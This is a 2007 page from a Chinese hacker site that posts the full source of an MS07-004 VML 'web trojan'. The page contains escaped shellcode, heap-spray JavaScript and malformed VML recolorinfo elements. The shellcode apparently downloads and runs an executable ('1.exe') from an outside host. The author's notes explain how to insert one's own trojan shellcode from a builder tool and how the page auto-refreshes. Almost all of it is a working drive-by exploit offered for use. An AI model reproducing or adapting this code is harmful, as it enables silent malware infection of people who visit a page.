黑客风云——风云网络
设为首页　加入收藏　我要投稿　网站地图

您现在的位置： 黑客风云 >> 黑客文章 >> 黑客进阶 >> 木马天地 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患，快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]新编MS07004网页木马源码
   热 荐  ★★★★★

新编MS07004网页木马源码

文章整理发布：黑客风云 文章来源：www.05112.com 更新时间：2007-1-27 10:19:05
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<SCRIPT language="javascript">
setTimeout("document.location.reload(false)",2000);
shellcode =unescape("%u9090%u9090%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u772F%u7777%u2E31%u6168%u6B63%u7265%u6F6F%u6F63%u2F6D%u2E31%u7865%u0065");
bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<450;i++) memory[i] = block + shellcode;
</script>

<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo NumColOrS="97612895" recolorstate="t">
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,0,64)" recolortype="1285"
lbcolor="rgb(1,0,64)" forecolor="rgb(1,0,64)" backcolor="rgb(1,0,64)"
fromcolor="rgb(1,0,64)" lbstyle ="32" bitmaptype="3"/>
<v/recolorinfo>
</html>

事先说明`这个不是平衡堆栈处理过`平衡堆栈的貌似要1W大元。

我修改的这个还算可以，成功后会关掉IE，但不出现IE错误，至于卡不卡`我没感觉出来，虚拟机没办法感觉，，使用方法，用幻影的那个生成器`把自己的木马生成出来`把shellcode替换掉本代码里，就是

shellcode =unescape("%u9090%u9090%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u772F%u7777%u2E31%u6168%u6B63%u7265%u6F6F%u6F63%u2F6D%u2E31%u7865%u0065");


另外，

bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<450;i++) memory[i] = block + shellcode;

这里是反着写的，带自刷新，这样效果会更好，不想自刷新`可以自己修改
文章录入：cainiaowang    责任编辑：cainiaowang 
  • 上一篇文章：

  • 下一篇文章：
    • 【字体：小 大】
    中介交易区
    最 新 热 门
    后门程序知识完全解析01-14
    2007年度网马漏洞不完全总结01-09
    简单修改木马壳头让卡巴斯基哑口09-22
    ASPX一句话木马--终极版&详细分析08-11
    认识使用 Rootkit技术的木马06-12
    分析ANI智能网马挂马06-08
    Flash木马是这样练成的05-18
    XML木马研究05-18
    脚本图片类后门病毒的完美使用方05-16
    两个批量挂马脚本05-11
    黑客技术之打造不死的ASP木马的方04-20
    php后门插在图片里执行回显思路04-06
    相 关 文 章
    阻止网页挂马的若干工具
    解密网页加密的两个方法
    不安分的网页—网页木马的守株待兔
    轻轻松松解密各种网页木马
    DIV+CSS布局的网页对网站SEO的影响
    核心内嵌网页防篡改技术
    WebThumb免费在线生成网页缩略图
    最快速有效的iFrame治标解法兼谈网页安
    清除网页挂马和后门 - 安全伞1.0
    logbird日本免费网页计数器
    YooRL网页链接点击次数免费流量统计
    认清网页中的5种隐形杀手
    Copyright ＠2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案：冀06009886